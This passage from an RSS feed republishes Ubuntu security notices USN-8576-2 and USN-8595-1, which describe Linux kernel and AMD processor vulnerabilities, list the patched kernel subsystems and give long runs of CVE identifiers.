<link>https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
